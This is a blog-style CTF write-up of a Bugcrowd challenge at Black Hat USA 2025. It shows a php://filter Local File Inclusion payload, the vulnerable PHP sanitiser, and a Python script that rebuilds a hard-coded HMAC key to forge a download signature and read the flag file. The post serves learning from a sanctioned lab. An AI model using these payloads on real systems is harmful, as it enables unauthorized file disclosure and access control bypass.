Exploiting an LFI Vulnerability and Forging a Signature in BugcrowdCTF

Introduction

During Bugcrowd CTF at Black Hat USA 2025, I tackled a web challenge involving SecureFile Solutions, a document management system with a hidden Local File Inclusion (LFI) vulnerability in its index.php. This journey involved exploiting the LFI to access source code, reverse-engineering a signature validation process, and crafting a Python script to forge a signature.

Step 1: Discovering the LFI Vulnerability

The challenge began with a web application at http://web.challenges.bhusa.bugcrowdctf.com:9300/. The main entry point index.php, used a page parameter to load content dynamically. Examining the source code (revealed through the LFI), I found this critical section:

$page = $_GET['page'] ?? 'home';
$safe_page = sanitize_page($page);

if (file_exists("pages/{$safe_page}.php")) {
    include "pages/{$safe_page}.php";
} else {
    $file_content = @file_get_contents($safe_page);
    if ($file_content !== false) {
        echo '<div class="content-card"><pre>' . $file_content . '</pre></div>';
    } else {
        include 'pages/404.php';
    }
}

The sanitize_page function aimed to prevent directory traversal by blocking inputs like ../ or /var:

function sanitize_page($page) {
    if (strpos($page, '../') !== false || strpos($page, '..\\') !== false || strpos($page, '/var') === 0) {
        return 'home';
    }
    return $page;
}

However, it didn’t block the php://filter wrapper, a classic LFI vector. By sending a request like:

GET /?page=php://filter/convert.base64-encode/resource=core/file_handler.php

I retrieved the base64-encoded contents of core/file_handler.php. Repeating this for lib/security.php, lib/crypto_utils.php, and lib/hash_engine.php revealed the app’s internal logic, including file handling and cryptographic operations. Decoding the base64 output gave me the source code, setting the stage for the next step.

This LFI was the key to understanding the system. Without it, accessing the flag would’ve been nearly impossible, as the flag’s location (/var/flag/flag.txt) and the required signature was hidden in the code.

Step 2: Analysing the FileHandler and Signature Logic

The flag was at /var/flag/flag.txt, and the download page in index.php handled file requests:

case 'download':
    require_once 'core/file_handler.php';
    FileHandler::processDownload();
    break;

The FileHandler class (from core/file_handler.php) allowed downloads from specific paths, including /var/flag/:

private static $allowed_paths = [
    '/var/flag/',
    '/var/uploads/',
    '/var/documents/',
    './files/'
];

public static function processDownload() {
    $filename = $_GET['file'] ?? null;
    $signature = $_GET['sig'] ?? null;
    if (!$filename) {
        self::renderError('No file specified');
        return;
    }
    if (!self::validateSignature($filename, $signature)) {
        self::renderError('Invalid signature');
        return;
    }
    $filepath = self::locateFile($filename);
    if (!$filepath) {
        self::renderError('File not found');
        return;
    }
    self::serveFile($filepath, $filename);
}

The validateSignature method checked the signature using:

private static function validateSignature($filename, $provided_signature) {
    $signing_key = self::deriveSigningKey();
    $expected_signature = create_hmac_signature($filename, $signing_key);
    return hash_equals($expected_signature, $provided_signature);
}

The create_hmac_signature function used HMAC-SHA1:

function create_hmac_signature($data, $key) {
    return hash_hmac('sha1', $data, $key);
}

The signing key came from SecurityManager::deriveSigningKey(), which called SecurityManager::initializeKeyDerivation().

Step 3: Reverse-Engineering the Key Derivation

The SecurityManager class (from lib/security.php) held the master secret:

private static $master_secret = "sf_enterprise_2024_secure_base_key_v2.1";

This secret was processed by CryptoUtils::performStringTransformations (from lib/crypto_utils.php):

public static function performStringTransformations($input_secret) {
    $step1 = self::reverseString($input_secret);
    $step2 = self::xorWithConstant($step1, 0x42);
    $step3 = self::truncateString($step2, 16);
    return HashEngine::processKeyMaterial($step3);
}

The steps were:

  1. Reverse: Reverse the string.

  2. XOR: XOR each character with 0x42.

  3. Truncate: Take the first 16 characters.

  4. Hash: Pass to HashEngine::processKeyMaterial.

The HashEngine class (from lib/hash_engine.php) applied an MD5 hash and truncated to 8 characters:

private static $hash_config = [
    'primary_algo' => 'md5',
    'output_length' => 8
];

public static function processKeyMaterial($transformed_input) {
    $hashed = self::performPrimaryHash($transformed_input);
    $final_key = self::truncateOutput($hashed);
    return $final_key;
}

private static function performPrimaryHash($input) {
    return hash(self::$hash_config['primary_algo'], $input);
}

So, the signing key was derived by:

  • Reversing sf_enterprise_2024_secure_base_key_v2.1.

  • XORing with 0x42.

  • Truncating to 16 characters.

  • MD5 hashing and taking the first 8 characters.

This key was then used to generate an HMAC-SHA1 signature for the filename.

Step 4: Forging the Signature with Python (~3 min read)

To retrieve the flag, I needed to forge the HMAC-SHA1 signature for flag.txt. I wrote a Python script that replicated the key derivation and generated the signature, then sent a request to the CTF server:

import hashlib
import hmac
import requests
import re

def reverse_string(s): return s[::-1]

def xor_with_constant(s, constant): return ''.join(chr(ord(c) ^ constant) for c in s)

def truncate_string(s, length): return s[:length]

def perform_string_transformations(secret):
    step1 = reverse_string(secret) 
    step2 = xor_with_constant(step1, 0x42) 
    step3 = truncate_string(step2, 16) 
    return step3

def process_key_material(transformed_input): 
    hashed = hashlib.md5(transformed_input.encode()).hexdigest() 
    return hashed[:8]

def create_hmac_signature(data, key): 
    return hmac.new(key.encode(), data.encode(), hashlib.sha1).hexdigest()

def main(filename=None):
    secret = "sf_enterprise_2024_secure_base_key_v2.1"
    transformed = perform_string_transformations(secret)
    key_material = process_key_material(transformed)
    signature = create_hmac_signature(filename, key_material)

    return signature

if __name__ == "__main__":
    flag_file = "/var/flag/flag.txt"
    signature = main(flag_file)
    print(f"Generated HMAC Signature: {signature}")
    response = requests.get(f"http://web.challenges.bhusa.bugcrowdctf.com:9300/?page=download&file={flag_file}&sig={signature}")
    if response.status_code == 200:
        flag_content = response.text

        flag_match = re.search(r'FLAG{.*?}', flag_content)
        if flag_match:
            print(f"Flag found: {flag_match.group(0)}")
        else:
            print("No flag found in the response.")
    else:
        print(f"Failed to retrieve flag. Status Code: {response.status_code}")

How the Script Works

  • Key Derivation: The perform_string_transformations and process_key_material functions replicate the PHP logic (reverse, XOR with 0x42, truncate to 16, MD5, truncate to 8).

  • Signature Generation: create_hmac_signature uses Python’s hmac module to generate an HMAC-SHA1 signature for flag.txt using the derived key.

  • Request: The script sends a GET request to the CTF server with page=download, file=/var/flag/flag.txt, and the forged sig.

  • Flag Extraction: A regex (FLAG{.*?}) extracts the flag from the response.

Running the script output the signature and sent the request. A 200 status code indicated success, and the regex extracted the flag from the response.

Conclusion

Solving this challenge was an exhilarating ride through LFI exploitation and signature forging. From uncovering the php://filter vulnerability to crafting a Python script to retrieve the flag, every step was a puzzle piece in.

Later, I found out through X that, this particular CTF challenge was leaking solution and challenge details through README.md and solve.py and were accessible directly. Also, I later discovered that there was no need to do all these signature operations, as we could directly get the flag through http://web.challenges.bhusa.bugcrowdctf.com:9300/?page=php://filter/convert.base64-encode/resource=/var/flag/flag.txt .

0
Subscribe to my newsletter

Read articles from Pradip Bhattarai directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Pradip Bhattarai
Pradip Bhattarai